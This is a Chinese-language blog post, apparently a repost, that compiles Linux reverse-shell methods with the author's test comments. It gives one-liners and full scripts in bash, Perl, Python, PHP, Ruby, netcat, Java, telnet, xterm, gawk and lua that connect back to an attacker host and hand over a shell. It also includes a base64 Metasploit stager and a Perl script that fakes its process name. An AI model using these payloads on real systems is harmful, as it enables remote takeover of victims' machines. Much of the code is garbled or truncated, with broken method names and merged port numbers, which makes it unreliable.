Linux下反弹shell的种种⽅式
[前⾔:在乌云社区看到反弹shell的⼏种姿势,看过之余⾃⼰还收集了⼀些,动⼿试了下,仅供参考]
0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/80800>&1
这⾥shell由bash解析,有时候是由sh解析,不⼀定百发百中
***在虚拟机⾥⾯试过可⾏,替换成⾃⼰的地址和端⼝即可***
***/dev/[tcp|upd]/host/port是Linux设备⾥⾯⽐较特殊的⽂件,读取或写⼊相当于建⽴socket调⽤***
***由于其特殊性,命令执⾏后依旧⽆法到/dev/tcp⽬录更不要说下⾯的⽂件了***
***注意,这⾥"&"在Linux shell中表⽰后台运⾏,当然这⾥0>&1不是这样,对于&1更准确的说应该是⽂件描述符1,⽽1⼀般代表的就是STDOUT_FILENO***
*** 2>&1形式⽤于重定向,2>表⽰错误重定向,&1表⽰标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这⾥⼜被重定向到了/dev/null这个⽆底洞⾥***
***这⾥有⼀个问题:为什么2>&1要写在后⾯,以command >file 2>&1为例,⾸先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的⾏为,也就是同样被重定向到file中,最终结果就是标准输出和错误***其实还有⼀个问题,既然2>表⽰错误重定向,那么0>表⽰什么呢?查阅资料发现在Linux下输⼊输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输⼊,1则为标准输出了。说到这⾥,其实⼜引出了⼀个新的gnucitizen[/blog/reverse-shell-with-bash/]上还有⼀种不同的⽅法,评论中也有⼀些想法:
###$ nc -l -p 8080 -vvv
$ exec 5<>/dev/tcp/evil/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done
***这条语句证实可⾏,这⾥exec命令可以⽤来替代当前shell;换句话说,并没有启动⼦shell,使⽤这⼀条命令时任何现有环境变量将会被清除,并重新启动⼀个shell***
***exec的man⼿册如是说:The exec() family of functions replaces the current process image with a new process image***
***在查exec时发现⼀个好玩的语句:
  exec 3<>/dev/le/80
  echo -e "GET / HTTP/1.1\r\nhost: le\r\nConnection: close\r\n\r\n" >&3
  cat <&3
这个语句的作⽤,应该⼀看就明了了,不多说,⾔归正传,nc监听,使⽤exec反弹的shell其输出只能在⽬标机器上看到,有图为证***
另外还可以是:
exec /bin/bash 0&02>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&1962>&196
/bin/bash  -i > /dev/tcp/attackerip/80800<&12>&1
***在测试exec /bin/bash 0&0 2>&0语句时,遇到⼀个问题,终端显⽰No such file or directory或者⼲脆不到命令,怎么让它实现还有待研究***
***研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功***
0x02 Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; ***使⽤这条命令,唯⼀的不同是提⽰符变成了sh-4.1#,实现原理和前⾯的bash差不多,Perl还是很强⼤的***
不依赖于/bin/sh的shell: ***这条语句⽐上⾯的更为简短,⽽且确实不需要依赖/bin/sh***
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
系统运⾏windows时:***突然发现windows上暂时没装Perl,下次测吧***
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
再给出⼀个完整的Perl的反弹脚本:
1#!/usr/bin/perl -w
2# perl-reverse-shell - A Reverse Shell implementation in PERL
3use strict;
4use Socket;
5use FileHandle;
6use POSIX;
7my$VERSION = "1.0";
8
9# Where to send the reverse shell.  Change these.
10my$ip = '127.0.0.1';
11my$port = 1234;
12
13# Options
14my$daemon = 1;
15my$auth  = 0; # 0 means authentication is disabled and any
16        # source IP can access the reverse shell
17my$authorised_client_pattern = qr(^127\.0\.0\.1$);
18
19# Declarations
20my$global_page = "";
21my$fake_process_name = "/usr/sbin/apache";
22
23# Change the process name to be less conspicious
24 $0 = "[httpd]";
25
26# Authenticate based on source IP address if required
27if (defined($ENV{'REMOTE_ADDR'})) {
28    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
29
30if ($auth) {
31unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
32            cgiprint("ERROR: Your client isn't authorised to view this page");
33            cgiexit();
34        }
35    }
36 } elsif ($auth) {
37    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
38    cgiexit(0);
39 }
40
41# Background and dissociate from parent process if required
42if ($daemon) {
43my$pid = fork();
44if ($pid) {
45        cgiexit(0); # parent exits
46    }
47
48    setsid();
49chdir('/');
50umask(0);
51 }
52
53# Make TCP connection for reverse shell
54socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
55if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
56    cgiprint("Sent reverse shell to $ip:$port");
57    cgiprintpage();
58 } else {
59    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
60    cgiexit();
61 }
62
63# Redirect STDIN, STDOUT and STDERR to the TCP connection
64open(STDIN, ">&SOCK");
65open(STDOUT,">&SOCK");
66open(STDERR,">&SOCK");
67$ENV{'HISTFILE'} = '/dev/null';
68system("w;uname -a;id;pwd");
69exec({"/bin/sh"} ($fake_process_name, "-i"));
70
71# Wrapper around print
72sub cgiprint {
73my$line = shift;
74$line .= "<p>\n";
75$global_page .= $line;
76 }
77
78# Wrapper around exit
79sub cgiexit {
80    cgiprintpage();
81exit0; # 0 to ensure we don't give a 500 response.
82 }
83
84# Form HTTP response using all the messages gathered by cgiprint so far
85sub cgiprintpage {
86print"Content-Length: " . length($global_page) . "\r
87Connection: close\r
88Content-Type: text\/html\r\n\r\n" . $global_page;
89 }
0x03 Python #测试环境为Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
***同样是sh-4.1#,Python真⼼好***
另外的形式:#[www.r00tsec/2011/10/python-one-line-shellcode.html]还有其他可⾏的代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.v(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(pro 另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXM  base64解码:
import socket,struct
s=socket.socket(2,1)
l=struct.unpack('>I',s.recv(4))[0]
v(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})
0x04 PHP #代码假设TCP连接的⽂件描述符为3,如果不⾏可以试下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
[github/keshy/cwg_tools/blob/master/php-reverse-shell.php]为⼀个上传的完整php反弹shell脚本    ***php这个也相当简单***
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;w("attackerip","4444");while(s);IO.popen(cmd,"r"){|io|c.ad}end'
如果⽬标系统运⾏Windows:
ruby -rsocket -e 'w("attackerip","4444");while(s);IO.popen(cmd,"r"){|io|c.ad}end'
当然还有我们很熟悉的MSF模块⾥⾯也是有反弹shell的:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Set the Remote Host IP
RHOST = "192.168.1.10"
#Set the Remote Host Port
PORT = "6667"
#Tries to connect every 20 sec until it connects.
begin
sock = w "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
sleep 20
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = s
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
end
end
rescue
retry
end
0x06 NetCat
nc -e /bin/sh10.0.0.11234  #不同版本的nc不⼀定⽀持-e选项
不能使⽤-e选项时:
mknod backpipe p && nc attackerip 80800<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 44440/tmp/
安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.11234 >/tmp/f
0x07 Java
r = Runtime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
msf使⽤为:use payload/java/shell/reverse_tcp
再见⼀段长代码:
import java.io.*;
import java.Socket;
import java.util.*;
import *;
import java.applet.Applet;
public class poc extends Applet{
/**
* Author: daniel baier alias duddits
* Licens: GPL
* Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
* Version: 0.1 alpha release
*/
public String cd(String start, File currentDir) {
File fullPath = new AbsolutePath());
String sparent = AbsoluteFile().toString();
return sparent + "/" + start;
}
@SuppressWarnings("unchecked")
public void init() {
poc rs = new poc();
PrintWriter out;
try {
Socket clientSocket = new Socket("192.168.5.222",10003);
out = new OutputStream(), true);
out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
boolean run = true;
String s;
BufferedReader br = new BufferedReader(new InputStream()));
String startort = "/";
while (run) {
String z1;
File f = new File(startort);
out.AbsolutePath() + "> ");
s = br.readLine();
z1 = s;
Pattern pcd = Patternpile("^cd\\s");
Matcher mcd = pcd.matcher(z1);
String[] teile1 = pcd.split(z1);
if (s.equals("exit")) {
run = false;
}else if (s.equals(null) || s.equals("cmd") || s.equals("")) {
} else if(mcd.find()){
try {
String cds = rs.cd(teile1[1], new File(startort));
startort = cds;
} catch (Exception verz) {
out.println("Path " + teile1[1]
+ " not found.");
}
}else {
String z2;
z2 = s;
Pattern pstring = Patternpile("\\s");
String[] plist = pstring.split(z2);
try {
LinkedList slist = new LinkedList();
for (int i = 0; i < plist.length; i++) {
slist.add(plist[i]);
}
ProcessBuilder builder = new ProcessBuilder(slist);
builder.directory(new File(startort));
Process p = builder.start();
Scanner se = new InputStream());
if (!se.hasNext()) {
Scanner sa = new ErrorStream());
while (sa.hasNext()) {
out.Line());
}
}
while (se.hasNext()) {
out.Line());
}
} catch (Exception err) {
out.AbsolutePath() + "> Command "
+ s + " failed!");
out.AbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");                    }
}
}
if(!clientSocket.isConnected()){
run = false;
out.flush();
out.close();
}
} catch (Exception io) {
//println("Connection refused by peer");
}
}
}
0x08 Telnet  #nc不可⽤或/dev/tcp不可⽤时
mknod backpipe p && telnet attackerip 80800<backpipe | /bin/bash 1>backpipe
linux重定向***这⾥mknod是创建特殊⽂件-设备⽂件***
0x09 Xterm
⾸先开启Xserver:  # TCP 6001
Xnest :1              # Note: The command starts with uppercase X
授予⽬标机连回来的权限:
xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                        # Run this INSIDE the spawned xterm on the open X Server
如果想让任何⼈都连上:
xhost +                    # Run this INSIDE the spawned xterm on the open X Server
假设xterm已安装,连回你的Xserver:
xterm -display attackerip:1
或者:
$ DISPLAY=attackerip:0 xterm
0x10 gawk
#!/usr/bin/gawk -f
BEGIN {
Port    =      8080
Prompt  =      "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
0x11 乌云上⼀个lua实现
lua -e "require('socket');require('os');p();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" ***lua之前是真没见过,发现机器竟然⼀时装不上,唉,留着以后玩吧***
msf反弹:use payload/cmd/unix/reverse_lua
0x12 参考
uk/?p=215
pentestmonkey/cheat-sheet/shells/reverse-shell-cheat-sheet

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。